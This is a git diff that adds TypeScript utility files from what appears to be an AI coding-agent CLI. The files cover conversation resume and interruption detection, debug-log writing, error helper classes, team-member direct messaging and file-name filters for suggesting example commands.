+      // brief-mode session as interrupted mid-turn and injects a phantom
+      // "Continue from where you left off." before the user's real next
+      // prompt. Look back one step for the originating tool_use.
+      if (isTerminalToolResult(lastMessage, messages, lastMessageIdx)) {
+        return { kind: 'none' }
+      }
+      return { kind: 'interrupted_turn' }
+    }
+    // Plain text user prompt — CC hadn't started responding
+    return { kind: 'interrupted_prompt', message: lastMessage }
+  }
+
+  if (lastMessage.type === 'attachment') {
+    // Attachments are part of the user turn — the user provided context but
+    // the assistant never responded.
+    return { kind: 'interrupted_turn' }
+  }
+
+  return { kind: 'none' }
+}
+
+/**
+ * Is this tool_result the output of a tool that legitimately terminates a
+ * turn? SendUserMessage is the canonical case: in brief mode, calling it is
+ * the turn's final act — there is no follow-up assistant text (#20467
+ * removed it). A transcript ending here means the turn COMPLETED, not that
+ * it was killed mid-tool.
+ *
+ * Walks back to find the assistant tool_use that this result belongs to and
+ * checks its name. The matching tool_use is typically the immediately
+ * preceding relevant message (filterUnresolvedToolUses has already dropped
+ * unpaired ones), but we walk just in case system/progress noise is
+ * interleaved.
+ */
+function isTerminalToolResult(
+  result: NormalizedUserMessage,
+  messages: NormalizedMessage[],
+  resultIdx: number,
+): boolean {
+  const content = result.message.content
+  if (!Array.isArray(content)) return false
+  const block = content[0]
+  if (block?.type !== 'tool_result') return false
+  const toolUseId = block.tool_use_id
+
+  for (let i = resultIdx - 1; i >= 0; i--) {
+    const msg = messages[i]!
+    if (msg.type !== 'assistant') continue
+    for (const b of msg.message.content) {
+      if (b.type === 'tool_use' && b.id === toolUseId) {
+        return (
+          b.name === BRIEF_TOOL_NAME ||
+          b.name === LEGACY_BRIEF_TOOL_NAME ||
+          b.name === SEND_USER_FILE_TOOL_NAME
+        )
+      }
+    }
+  }
+  return false
+}
+
+/**
+ * Restores skill state from invoked_skills attachments in messages.
+ * This ensures that skills are preserved across resume after compaction.
+ * Without this, if another compaction happens after resume, the skills would be lost
+ * because STATE.invokedSkills would be empty.
+ * @internal Exported for testing - use loadConversationForResume instead
+ */
+export function restoreSkillStateFromMessages(messages: Message[]): void {
+  for (const message of messages) {
+    if (message.type !== 'attachment') {
+      continue
+    }
+    if (message.attachment.type === 'invoked_skills') {
+      for (const skill of message.attachment.skills) {
+        if (skill.name && skill.path && skill.content) {
+          // Resume only happens for the main session, so agentId is null
+          addInvokedSkill(skill.name, skill.path, skill.content, null)
+        }
+      }
+    }
+    // A prior process already injected the skills-available reminder — it's
+    // in the transcript the model is about to see. sentSkillNames is
+    // process-local, so without this every resume re-announces the same
+    // ~600 tokens. Fire-once latch; consumed on the first attachment pass.
+    if (message.attachment.type === 'skill_listing') {
+      suppressNextSkillListing()
+    }
+  }
+}
+
+/**
+ * Chain-walk a transcript jsonl by path.  Same sequence loadFullLog
+ * runs internally — loadTranscriptFile → find newest non-sidechain
+ * leaf → buildConversationChain → removeExtraFields — just starting
+ * from an arbitrary path instead of the sid-derived one.
+ *
+ * leafUuids is populated by loadTranscriptFile as "uuids that no
+ * other message's parentUuid points at" — the chain tips.  There can
+ * be several (sidechains, orphans); newest non-sidechain is the main
+ * conversation's end.
+ */
+export async function loadMessagesFromJsonlPath(path: string): Promise<{
+  messages: SerializedMessage[]
+  sessionId: UUID | undefined
+}> {
+  const { messages: byUuid, leafUuids } = await loadTranscriptFile(path)
+  let tip: (typeof byUuid extends Map<UUID, infer T> ? T : never) | null = null
+  let tipTs = 0
+  for (const m of byUuid.values()) {
+    if (m.isSidechain || !leafUuids.has(m.uuid)) continue
+    const ts = new Date(m.timestamp).getTime()
+    if (ts > tipTs) {
+      tipTs = ts
+      tip = m
+    }
+  }
+  if (!tip) return { messages: [], sessionId: undefined }
+  const chain = buildConversationChain(byUuid, tip)
+  return {
+    messages: removeExtraFields(chain),
+    // Leaf's sessionId — forked sessions copy chain[0] from the source
+    // transcript, so the root retains the source session's ID. Matches
+    // loadFullLog's mostRecentLeaf.sessionId.
+    sessionId: tip.sessionId as UUID | undefined,
+  }
+}
+
+/**
+ * Loads a conversation for resume from various sources.
+ * This is the centralized function for loading and deserializing conversations.
+ *
+ * @param source - The source to load from:
+ *   - undefined: load most recent conversation
+ *   - string: session ID to load
+ *   - LogOption: already loaded conversation
+ * @param sourceJsonlFile - Alternate: path to a transcript jsonl.
+ *   Used when --resume receives a .jsonl path (cli/print.ts routes
+ *   on suffix), typically for cross-directory resume where the
+ *   transcript lives outside the current project dir.
+ * @returns Object containing the deserialized messages and the original log, or null if not found
+ */
+export async function loadConversationForResume(
+  source: string | LogOption | undefined,
+  sourceJsonlFile: string | undefined,
+): Promise<{
+  messages: Message[]
+  turnInterruptionState: TurnInterruptionState
+  fileHistorySnapshots?: FileHistorySnapshot[]
+  attributionSnapshots?: AttributionSnapshotMessage[]
+  contentReplacements?: ContentReplacementRecord[]
+  contextCollapseCommits?: ContextCollapseCommitEntry[]
+  contextCollapseSnapshot?: ContextCollapseSnapshotEntry
+  sessionId: UUID | undefined
+  // Session metadata for restoring agent context
+  agentName?: string
+  agentColor?: string
+  agentSetting?: string
+  customTitle?: string
+  tag?: string
+  mode?: 'coordinator' | 'normal'
+  worktreeSession?: PersistedWorktreeSession | null
+  prNumber?: number
+  prUrl?: string
+  prRepository?: string
+  // Full path to the session file (for cross-directory resume)
+  fullPath?: string
+} | null> {
+  try {
+    let log: LogOption | null = null
+    let messages: Message[] | null = null
+    let sessionId: UUID | undefined
+
+    if (source === undefined) {
+      // --continue: most recent session, skipping live --bg/daemon sessions
+      // that are actively writing their own transcript.
+      const logsPromise = loadMessageLogs()
+      let skip = new Set<string>()
+      if (feature('BG_SESSIONS')) {
+        try {
+          const { listAllLiveSessions } = await import('./udsClient.js')
+          const live = await listAllLiveSessions()
+          skip = new Set(
+            live.flatMap(s =>
+              s.kind && s.kind !== 'interactive' && s.sessionId
+                ? [s.sessionId]
+                : [],
+            ),
+          )
+        } catch {
+          // UDS unavailable — treat all sessions as continuable
+        }
+      }
+      const logs = await logsPromise
+      log =
+        logs.find(l => {
+          const id = getSessionIdFromLog(l)
+          return !id || !skip.has(id)
+        }) ?? null
+    } else if (sourceJsonlFile) {
+      // --resume with a .jsonl path (cli/print.ts routes on suffix).
+      // Same chain walk as the sid branch below — only the starting
+      // path differs.
+      const loaded = await loadMessagesFromJsonlPath(sourceJsonlFile)
+      messages = loaded.messages
+      sessionId = loaded.sessionId
+    } else if (typeof source === 'string') {
+      // Load specific session by ID
+      log = await getLastSessionLog(source as UUID)
+      sessionId = source as UUID
+    } else {
+      // Already have a LogOption
+      log = source
+    }
+
+    if (!log && !messages) {
+      return null
+    }
+
+    if (log) {
+      // Load full messages for lite logs
+      if (isLiteLog(log)) {
+        log = await loadFullLog(log)
+      }
+
+      // Determine sessionId first so we can pass it to copy functions
+      if (!sessionId) {
+        sessionId = getSessionIdFromLog(log) as UUID
+      }
+      // Pass the original session ID to ensure the plan slug is associated with
+      // the session we're resuming, not the temporary session ID before resume
+      if (sessionId) {
+        await copyPlanForResume(log, asSessionId(sessionId))
+      }
+
+      // Copy file history for resume
+      void copyFileHistoryForResume(log)
+
+      messages = log.messages
+      checkResumeConsistency(messages)
+    }
+
+    // Restore skill state from invoked_skills attachments before deserialization.
+    // This ensures skills survive multiple compaction cycles after resume.
+    restoreSkillStateFromMessages(messages!)
+
+    // Deserialize messages to handle unresolved tool uses and ensure proper format
+    const deserialized = deserializeMessagesWithInterruptDetection(messages!)
+    messages = deserialized.messages
+
+    // Process session start hooks for resume
+    const hookMessages = await processSessionStartHooks('resume', { sessionId })
+
+    // Append hook messages to the conversation
+    messages.push(...hookMessages)
+
+    return {
+      messages,
+      turnInterruptionState: deserialized.turnInterruptionState,
+      fileHistorySnapshots: log?.fileHistorySnapshots,
+      attributionSnapshots: log?.attributionSnapshots,
+      contentReplacements: log?.contentReplacements,
+      contextCollapseCommits: log?.contextCollapseCommits,
+      contextCollapseSnapshot: log?.contextCollapseSnapshot,
+      sessionId,
+      // Include session metadata for restoring agent context on resume
+      agentName: log?.agentName,
+      agentColor: log?.agentColor,
+      agentSetting: log?.agentSetting,
+      customTitle: log?.customTitle,
+      tag: log?.tag,
+      mode: log?.mode,
+      worktreeSession: log?.worktreeSession,
+      prNumber: log?.prNumber,
+      prUrl: log?.prUrl,
+      prRepository: log?.prRepository,
+      // Include full path for cross-directory resume
+      fullPath: log?.fullPath,
+    }
+  } catch (error) {
+    logError(error as Error)
+    throw error
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/crypto.ts b/_all-in-one-upload/cc-haha/src/utils/crypto.ts
new file mode 100644
index 0000000..a97fe05
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/crypto.ts
@@ -0,0 +1,13 @@
+// Indirection point for the package.json "browser" field. When bun builds
+// browser-sdk.js with --target browser, this file is swapped for
+// crypto.browser.ts — avoiding a ~500KB crypto-browserify polyfill that Bun
+// would otherwise inline for `import ... from 'crypto'`. Node/bun builds use
+// this file unchanged.
+//
+// NOTE: `export { randomUUID } from 'crypto'` (re-export syntax) breaks under
+// bun-internal's bytecode compilation — the generated bytecode shows the
+// import but the binding doesn't link (`ReferenceError: randomUUID is not
+// defined`). The explicit import-then-export below produces a correct live
+// binding. See integration-tests-ant-native failure on PR #20957/#21178.
+import { randomUUID } from 'crypto'
+export { randomUUID }
diff --git a/_all-in-one-upload/cc-haha/src/utils/debug.ts b/_all-in-one-upload/cc-haha/src/utils/debug.ts
new file mode 100644
index 0000000..220da2b
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/debug.ts
@@ -0,0 +1,268 @@
+import { appendFile, mkdir, symlink, unlink } from 'fs/promises'
+import memoize from 'lodash-es/memoize.js'
+import { dirname, join } from 'path'
+import { getSessionId } from 'src/bootstrap/state.js'
+
+import { type BufferedWriter, createBufferedWriter } from './bufferedWriter.js'
+import { registerCleanup } from './cleanupRegistry.js'
+import {
+  type DebugFilter,
+  parseDebugFilter,
+  shouldShowDebugMessage,
+} from './debugFilter.js'
+import { getClaudeConfigHomeDir, isEnvTruthy } from './envUtils.js'
+import { getFsImplementation } from './fsOperations.js'
+import { writeToStderr } from './process.js'
+import { jsonStringify } from './slowOperations.js'
+
+export type DebugLogLevel = 'verbose' | 'debug' | 'info' | 'warn' | 'error'
+
+const LEVEL_ORDER: Record<DebugLogLevel, number> = {
+  verbose: 0,
+  debug: 1,
+  info: 2,
+  warn: 3,
+  error: 4,
+}
+
+/**
+ * Minimum log level to include in debug output. Defaults to 'debug', which
+ * filters out 'verbose' messages. Set CLAUDE_CODE_DEBUG_LOG_LEVEL=verbose to
+ * include high-volume diagnostics (e.g. full statusLine command, shell, cwd,
+ * stdout/stderr) that would otherwise drown out useful debug output.
+ */
+export const getMinDebugLogLevel = memoize((): DebugLogLevel => {
+  const raw = process.env.CLAUDE_CODE_DEBUG_LOG_LEVEL?.toLowerCase().trim()
+  if (raw && Object.hasOwn(LEVEL_ORDER, raw)) {
+    return raw as DebugLogLevel
+  }
+  return 'debug'
+})
+
+let runtimeDebugEnabled = false
+
+export const isDebugMode = memoize((): boolean => {
+  return (
+    runtimeDebugEnabled ||
+    isEnvTruthy(process.env.DEBUG) ||
+    isEnvTruthy(process.env.DEBUG_SDK) ||
+    process.argv.includes('--debug') ||
+    process.argv.includes('-d') ||
+    isDebugToStdErr() ||
+    // Also check for --debug=pattern syntax
+    process.argv.some(arg => arg.startsWith('--debug=')) ||
+    // --debug-file implicitly enables debug mode
+    getDebugFilePath() !== null
+  )
+})
+
+/**
+ * Enables debug logging mid-session (e.g. via /debug). Non-ants don't write
+ * debug logs by default, so this lets them start capturing without restarting
+ * with --debug. Returns true if logging was already active.
+ */
+export function enableDebugLogging(): boolean {
+  const wasActive = isDebugMode() || process.env.USER_TYPE === 'ant'
+  runtimeDebugEnabled = true
+  isDebugMode.cache.clear?.()
+  return wasActive
+}
+
+// Extract and parse debug filter from command line arguments
+// Exported for testing purposes
+export const getDebugFilter = memoize((): DebugFilter | null => {
+  // Look for --debug=pattern in argv
+  const debugArg = process.argv.find(arg => arg.startsWith('--debug='))
+  if (!debugArg) {
+    return null
+  }
+
+  // Extract the pattern after the equals sign
+  const filterPattern = debugArg.substring('--debug='.length)
+  return parseDebugFilter(filterPattern)
+})
+
+export const isDebugToStdErr = memoize((): boolean => {
+  return (
+    process.argv.includes('--debug-to-stderr') || process.argv.includes('-d2e')
+  )
+})
+
+export const getDebugFilePath = memoize((): string | null => {
+  for (let i = 0; i < process.argv.length; i++) {
+    const arg = process.argv[i]!
+    if (arg.startsWith('--debug-file=')) {
+      return arg.substring('--debug-file='.length)
+    }
+    if (arg === '--debug-file' && i + 1 < process.argv.length) {
+      return process.argv[i + 1]!
+    }
+  }
+  return null
+})
+
+function shouldLogDebugMessage(message: string): boolean {
+  if (process.env.NODE_ENV === 'test' && !isDebugToStdErr()) {
+    return false
+  }
+
+  // Non-ants only write debug logs when debug mode is active (via --debug at
+  // startup or /debug mid-session). Ants always log for /share, bug reports.
+  if (process.env.USER_TYPE !== 'ant' && !isDebugMode()) {
+    return false
+  }
+
+  if (
+    typeof process === 'undefined' ||
+    typeof process.versions === 'undefined' ||
+    typeof process.versions.node === 'undefined'
+  ) {
+    return false
+  }
+
+  const filter = getDebugFilter()
+  return shouldShowDebugMessage(message, filter)
+}
+
+let hasFormattedOutput = false
+export function setHasFormattedOutput(value: boolean): void {
+  hasFormattedOutput = value
+}
+export function getHasFormattedOutput(): boolean {
+  return hasFormattedOutput
+}
+
+let debugWriter: BufferedWriter | null = null
+let pendingWrite: Promise<void> = Promise.resolve()
+
+// Module-level so .bind captures only its explicit args, not the
+// writeFn closure's parent scope (Jarred, #22257).
+async function appendAsync(
+  needMkdir: boolean,
+  dir: string,
+  path: string,
+  content: string,
+): Promise<void> {
+  if (needMkdir) {
+    await mkdir(dir, { recursive: true }).catch(() => {})
+  }
+  await appendFile(path, content)
+  void updateLatestDebugLogSymlink()
+}
+
+function noop(): void {}
+
+function getDebugWriter(): BufferedWriter {
+  if (!debugWriter) {
+    let ensuredDir: string | null = null
+    debugWriter = createBufferedWriter({
+      writeFn: content => {
+        const path = getDebugLogPath()
+        const dir = dirname(path)
+        const needMkdir = ensuredDir !== dir
+        ensuredDir = dir
+        if (isDebugMode()) {
+          // immediateMode: must stay sync. Async writes are lost on direct
+          // process.exit() and keep the event loop alive in beforeExit
+          // handlers (infinite loop with Perfetto tracing). See #22257.
+          if (needMkdir) {
+            try {
+              getFsImplementation().mkdirSync(dir)
+            } catch {
+              // Directory already exists
+            }
+          }
+          getFsImplementation().appendFileSync(path, content)
+          void updateLatestDebugLogSymlink()
+          return
+        }
+        // Buffered path (ants without --debug): flushes ~1/sec so chain
+        // depth stays ~1. .bind over a closure so only the bound args are
+        // retained, not this scope.
+        pendingWrite = pendingWrite
+          .then(appendAsync.bind(null, needMkdir, dir, path, content))
+          .catch(noop)
+      },
+      flushIntervalMs: 1000,
+      maxBufferSize: 100,
+      immediateMode: isDebugMode(),
+    })
+    registerCleanup(async () => {
+      debugWriter?.dispose()
+      await pendingWrite
+    })
+  }
+  return debugWriter
+}
+
+export async function flushDebugLogs(): Promise<void> {
+  debugWriter?.flush()
+  await pendingWrite
+}
+
+export function logForDebugging(
+  message: string,
+  { level }: { level: DebugLogLevel } = {
+    level: 'debug',
+  },
+): void {
+  if (LEVEL_ORDER[level] < LEVEL_ORDER[getMinDebugLogLevel()]) {
+    return
+  }
+  if (!shouldLogDebugMessage(message)) {
+    return
+  }
+
+  // Multiline messages break the jsonl output format, so make any multiline messages JSON.
+  if (hasFormattedOutput && message.includes('\n')) {
+    message = jsonStringify(message)
+  }
+  const timestamp = new Date().toISOString()
+  const output = `${timestamp} [${level.toUpperCase()}] ${message.trim()}\n`
+  if (isDebugToStdErr()) {
+    writeToStderr(output)
+    return
+  }
+
+  getDebugWriter().write(output)
+}
+
+export function getDebugLogPath(): string {
+  return (
+    getDebugFilePath() ??
+    process.env.CLAUDE_CODE_DEBUG_LOGS_DIR ??
+    join(getClaudeConfigHomeDir(), 'debug', `${getSessionId()}.txt`)
+  )
+}
+
+/**
+ * Updates the latest debug log symlink to point to the current debug log file.
+ * Creates or updates a symlink at ~/.claude/debug/latest
+ */
+const updateLatestDebugLogSymlink = memoize(async (): Promise<void> => {
+  try {
+    const debugLogPath = getDebugLogPath()
+    const debugLogsDir = dirname(debugLogPath)
+    const latestSymlinkPath = join(debugLogsDir, 'latest')
+
+    await unlink(latestSymlinkPath).catch(() => {})
+    await symlink(debugLogPath, latestSymlinkPath)
+  } catch {
+    // Silently fail if symlink creation fails
+  }
+})
+
+/**
+ * Logs errors for Ants only, always visible in production.
+ */
+export function logAntError(context: string, error: unknown): void {
+  if (process.env.USER_TYPE !== 'ant') {
+    return
+  }
+
+  if (error instanceof Error && error.stack) {
+    logForDebugging(`[ANT-ONLY] ${context} stack trace:\n${error.stack}`, {
+      level: 'error',
+    })
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/directMemberMessage.ts b/_all-in-one-upload/cc-haha/src/utils/directMemberMessage.ts
new file mode 100644
index 0000000..9429601
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/directMemberMessage.ts
@@ -0,0 +1,69 @@
+import type { AppState } from '../state/AppState.js'
+
+/**
+ * Parse `@agent-name message` syntax for direct team member messaging.
+ */
+export function parseDirectMemberMessage(input: string): {
+  recipientName: string
+  message: string
+} | null {
+  const match = input.match(/^@([\w-]+)\s+(.+)$/s)
+  if (!match) return null
+
+  const [, recipientName, message] = match
+  if (!recipientName || !message) return null
+
+  const trimmedMessage = message.trim()
+  if (!trimmedMessage) return null
+
+  return { recipientName, message: trimmedMessage }
+}
+
+export type DirectMessageResult =
+  | { success: true; recipientName: string }
+  | {
+      success: false
+      error: 'no_team_context' | 'unknown_recipient'
+      recipientName?: string
+    }
+
+type WriteToMailboxFn = (
+  recipientName: string,
+  message: { from: string; text: string; timestamp: string },
+  teamName: string,
+) => Promise<void>
+
+/**
+ * Send a direct message to a team member, bypassing the model.
+ */
+export async function sendDirectMemberMessage(
+  recipientName: string,
+  message: string,
+  teamContext: AppState['teamContext'],
+  writeToMailbox?: WriteToMailboxFn,
+): Promise<DirectMessageResult> {
+  if (!teamContext || !writeToMailbox) {
+    return { success: false, error: 'no_team_context' }
+  }
+
+  // Find team member by name
+  const member = Object.values(teamContext.teammates ?? {}).find(
+    t => t.name === recipientName,
+  )
+
+  if (!member) {
+    return { success: false, error: 'unknown_recipient', recipientName }
+  }
+
+  await writeToMailbox(
+    recipientName,
+    {
+      from: 'user',
+      text: message,
+      timestamp: new Date().toISOString(),
+    },
+    teamContext.teamName,
+  )
+
+  return { success: true, recipientName }
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/errors.ts b/_all-in-one-upload/cc-haha/src/utils/errors.ts
new file mode 100644
index 0000000..6a7f46e
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/errors.ts
@@ -0,0 +1,238 @@
+import { APIUserAbortError } from '@anthropic-ai/sdk'
+
+export class ClaudeError extends Error {
+  constructor(message: string) {
+    super(message)
+    this.name = this.constructor.name
+  }
+}
+
+export class MalformedCommandError extends Error {}
+
+export class AbortError extends Error {
+  constructor(message?: string) {
+    super(message)
+    this.name = 'AbortError'
+  }
+}
+
+/**
+ * True iff `e` is any of the abort-shaped errors the codebase encounters:
+ * our AbortError class, a DOMException from AbortController.abort()
+ * (.name === 'AbortError'), or the SDK's APIUserAbortError. The SDK class
+ * is checked via instanceof because minified builds mangle class names —
+ * constructor.name becomes something like 'nJT' and the SDK never sets
+ * this.name, so string matching silently fails in production.
+ */
+export function isAbortError(e: unknown): boolean {
+  return (
+    e instanceof AbortError ||
+    e instanceof APIUserAbortError ||
+    (e instanceof Error && e.name === 'AbortError')
+  )
+}
+
+/**
+ * Custom error class for configuration file parsing errors
+ * Includes the file path and the default configuration that should be used
+ */
+export class ConfigParseError extends Error {
+  filePath: string
+  defaultConfig: unknown
+
+  constructor(message: string, filePath: string, defaultConfig: unknown) {
+    super(message)
+    this.name = 'ConfigParseError'
+    this.filePath = filePath
+    this.defaultConfig = defaultConfig
+  }
+}
+
+export class ShellError extends Error {
+  constructor(
+    public readonly stdout: string,
+    public readonly stderr: string,
+    public readonly code: number,
+    public readonly interrupted: boolean,
+  ) {
+    super('Shell command failed')
+    this.name = 'ShellError'
+  }
+}
+
+export class TeleportOperationError extends Error {
+  constructor(
+    message: string,
+    public readonly formattedMessage: string,
+  ) {
+    super(message)
+    this.name = 'TeleportOperationError'
+  }
+}
+
+/**
+ * Error with a message that is safe to log to telemetry.
+ * Use the long name to confirm you've verified the message contains no
+ * sensitive data (file paths, URLs, code snippets).
+ *
+ * Single-arg: same message for user and telemetry
+ * Two-arg: different messages (e.g., full message has file path, telemetry doesn't)
+ *
+ * @example
+ * // Same message for both
+ * throw new TelemetrySafeError_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS(
+ *   'MCP server "slack" connection timed out'
+ * )
+ *
+ * // Different messages
+ * throw new TelemetrySafeError_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS(
+ *   `MCP tool timed out after ${ms}ms`,  // Full message for logs/user
+ *   'MCP tool timed out'                  // Telemetry message
+ * )
+ */
+export class TelemetrySafeError_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS extends Error {
+  readonly telemetryMessage: string
+
+  constructor(message: string, telemetryMessage?: string) {
+    super(message)
+    this.name = 'TelemetrySafeError'
+    this.telemetryMessage = telemetryMessage ?? message
+  }
+}
+
+export function hasExactErrorMessage(error: unknown, message: string): boolean {
+  return error instanceof Error && error.message === message
+}
+
+/**
+ * Normalize an unknown value into an Error.
+ * Use at catch-site boundaries when you need an Error instance.
+ */
+export function toError(e: unknown): Error {
+  return e instanceof Error ? e : new Error(String(e))
+}
+
+/**
+ * Extract a string message from an unknown error-like value.
+ * Use when you only need the message (e.g., for logging or display).
+ */
+export function errorMessage(e: unknown): string {
+  return e instanceof Error ? e.message : String(e)
+}
+
+/**
+ * Extract the errno code (e.g., 'ENOENT', 'EACCES') from a caught error.
+ * Returns undefined if the error has no code or is not an ErrnoException.
+ * Replaces the `(e as NodeJS.ErrnoException).code` cast pattern.
+ */
+export function getErrnoCode(e: unknown): string | undefined {
+  if (e && typeof e === 'object' && 'code' in e && typeof e.code === 'string') {
+    return e.code
+  }
+  return undefined
+}
+
+/**
+ * True if the error is ENOENT (file or directory does not exist).
+ * Replaces `(e as NodeJS.ErrnoException).code === 'ENOENT'`.
+ */
+export function isENOENT(e: unknown): boolean {
+  return getErrnoCode(e) === 'ENOENT'
+}
+
+/**
+ * Extract the errno path (the filesystem path that triggered the error)
+ * from a caught error. Returns undefined if the error has no path.
+ * Replaces the `(e as NodeJS.ErrnoException).path` cast pattern.
+ */
+export function getErrnoPath(e: unknown): string | undefined {
+  if (e && typeof e === 'object' && 'path' in e && typeof e.path === 'string') {
+    return e.path
+  }
+  return undefined
+}
+
+/**
+ * Extract error message + top N stack frames from an unknown error.
+ * Use when the error flows to the model as a tool_result — full stack
+ * traces are ~500-2000 chars of mostly-irrelevant internal frames and
+ * waste context tokens. Keep the full stack in debug logs instead.
+ */
+export function shortErrorStack(e: unknown, maxFrames = 5): string {
+  if (!(e instanceof Error)) return String(e)
+  if (!e.stack) return e.message
+  // V8/Bun stack format: "Name: message\n    at frame1\n    at frame2..."
+  // First line is the message; subsequent "    at " lines are frames.
+  const lines = e.stack.split('\n')
+  const header = lines[0] ?? e.message
+  const frames = lines.slice(1).filter(l => l.trim().startsWith('at '))
+  if (frames.length <= maxFrames) return e.stack
+  return [header, ...frames.slice(0, maxFrames)].join('\n')
+}
+
+/**
+ * True if the error means the path is missing, inaccessible, or
+ * structurally unreachable — use in catch blocks after fs operations to
+ * distinguish expected "nothing there / no access" from unexpected errors.
+ *
+ * Covers:
+ *  ENOENT    — path does not exist
+ *  EACCES    — permission denied
+ *  EPERM     — operation not permitted
+ *  ENOTDIR   — a path component is not a directory (e.g. a file named
+ *              `.claude` exists where a directory is expected)
+ *  ELOOP     — too many symlink levels (circular symlinks)
+ */
+export function isFsInaccessible(e: unknown): e is NodeJS.ErrnoException {
+  const code = getErrnoCode(e)
+  return (
+    code === 'ENOENT' ||
+    code === 'EACCES' ||
+    code === 'EPERM' ||
+    code === 'ENOTDIR' ||
+    code === 'ELOOP'
+  )
+}
+
+export type AxiosErrorKind =
+  | 'auth' // 401/403 — caller typically sets skipRetry
+  | 'timeout' // ECONNABORTED
+  | 'network' // ECONNREFUSED/ENOTFOUND
+  | 'http' // other axios error (may have status)
+  | 'other' // not an axios error
+
+/**
+ * Classify a caught error from an axios request into one of a few buckets.
+ * Replaces the ~20-line isAxiosError → 401/403 → ECONNABORTED → ECONNREFUSED
+ * chain duplicated across sync-style services (settingsSync, policyLimits,
+ * remoteManagedSettings, teamMemorySync).
+ *
+ * Checks the `.isAxiosError` marker property directly (same as
+ * axios.isAxiosError()) to keep this module dependency-free.
+ */
+export function classifyAxiosError(e: unknown): {
+  kind: AxiosErrorKind
+  status?: number
+  message: string
+} {
+  const message = errorMessage(e)
+  if (
+    !e ||
+    typeof e !== 'object' ||
+    !('isAxiosError' in e) ||
+    !e.isAxiosError
+  ) {
+    return { kind: 'other', message }
+  }
+  const err = e as {
+    response?: { status?: number }
+    code?: string
+  }
+  const status = err.response?.status
+  if (status === 401 || status === 403) return { kind: 'auth', status, message }
+  if (err.code === 'ECONNABORTED') return { kind: 'timeout', status, message }
+  if (err.code === 'ECONNREFUSED' || err.code === 'ENOTFOUND') {
+    return { kind: 'network', status, message }
+  }
+  return { kind: 'http', status, message }
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/exampleCommands.ts b/_all-in-one-upload/cc-haha/src/utils/exampleCommands.ts
new file mode 100644
index 0000000..3aecc67
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/exampleCommands.ts
@@ -0,0 +1,184 @@
+import memoize from 'lodash-es/memoize.js'
+import sample from 'lodash-es/sample.js'
+import { getCwd } from '../utils/cwd.js'
+import { getCurrentProjectConfig, saveCurrentProjectConfig } from './config.js'
+import { env } from './env.js'
+import { execFileNoThrowWithCwd } from './execFileNoThrow.js'
+import { getIsGit, gitExe } from './git.js'
+import { logError } from './log.js'
+import { getGitEmail } from './user.js'
+
+// Patterns that mark a file as non-core (auto-generated, dependency, or config).
+// Used to filter example-command filename suggestions deterministically
+// instead of shelling out to Haiku.
+const NON_CORE_PATTERNS = [
+  // lock / dependency manifests
+  /(?:^|\/)(?:package-lock\.json|yarn\.lock|bun\.lock|bun\.lockb|pnpm-lock\.yaml|Pipfile\.lock|poetry\.lock|Cargo\.lock|Gemfile\.lock|go\.sum|composer\.lock|uv\.lock)$/,
+  // generated / build artifacts
+  /\.generated\./,
+  /(?:^|\/)(?:dist|build|out|target|node_modules|\.next|__pycache__)\//,
+  /\.(?:min\.js|min\.css|map|pyc|pyo)$/,
+  // data / docs / config extensions (not "write a test for" material)
+  /\.(?:json|ya?ml|toml|xml|ini|cfg|conf|env|lock|txt|md|mdx|rst|csv|log|svg)$/i,
+  // configuration / metadata
+  /(?:^|\/)\.?(?:eslintrc|prettierrc|babelrc|editorconfig|gitignore|gitattributes|dockerignore|npmrc)/,
+  /(?:^|\/)(?:tsconfig|jsconfig|biome|vitest\.config|jest\.config|webpack\.config|vite\.config|rollup\.config)\.[a-z]+$/,
+  /(?:^|\/)\.(?:github|vscode|idea|claude)\//,
+  // docs / changelogs (not "how does X work" material)
+  /(?:^|\/)(?:CHANGELOG|LICENSE|CONTRIBUTING|CODEOWNERS|README)(?:\.[a-z]+)?$/i,
+]
+
+function isCoreFile(path: string): boolean {
+  return !NON_CORE_PATTERNS.some(p => p.test(path))
+}
+
+/**
+ * Counts occurrences of items in an array and returns the top N items
+ * sorted by count in descending order, formatted as a string.
+ */
+export function countAndSortItems(items: string[], topN: number = 20): string {
+  const counts = new Map<string, number>()
+  for (const item of items) {
+    counts.set(item, (counts.get(item) || 0) + 1)
+  }
+  return Array.from(counts.entries())
+    .sort((a, b) => b[1] - a[1])
+    .slice(0, topN)
+    .map(([item, count]) => `${count.toString().padStart(6)} ${item}`)
+    .join('\n')
+}
+
+/**
+ * Picks up to `want` basenames from a frequency-sorted list of paths,
+ * skipping non-core files and spreading across different directories.
+ * Returns empty array if fewer than `want` core files are available.
+ */
+export function pickDiverseCoreFiles(
+  sortedPaths: string[],
+  want: number,
+): string[] {
+  const picked: string[] = []
+  const seenBasenames = new Set<string>()
+  const dirTally = new Map<string, number>()
+
+  // Greedy: on each pass allow +1 file per directory. Keeps the
+  // top-5 from collapsing into a single hot folder while still
+  // letting a dominant folder contribute multiple files if the
+  // repo is narrow.
+  for (let cap = 1; picked.length < want && cap <= want; cap++) {
+    for (const p of sortedPaths) {
+      if (picked.length >= want) break
+      if (!isCoreFile(p)) continue
+      const lastSep = Math.max(p.lastIndexOf('/'), p.lastIndexOf('\\'))
+      const base = lastSep >= 0 ? p.slice(lastSep + 1) : p
+      if (!base || seenBasenames.has(base)) continue
+      const dir = lastSep >= 0 ? p.slice(0, lastSep) : '.'
+      if ((dirTally.get(dir) ?? 0) >= cap) continue
+      picked.push(base)
+      seenBasenames.add(base)
+      dirTally.set(dir, (dirTally.get(dir) ?? 0) + 1)
+    }
+  }
+
+  return picked.length >= want ? picked : []
+}
+
+async function getFrequentlyModifiedFiles(): Promise<string[]> {
+  if (process.env.NODE_ENV === 'test') return []
+  if (env.platform === 'win32') return []
+  if (!(await getIsGit())) return []
+
+  try {
+    // Collect frequently-modified files, preferring the user's own commits.
+    const userEmail = await getGitEmail()
+
+    const logArgs = [
+      'log',
+      '-n',
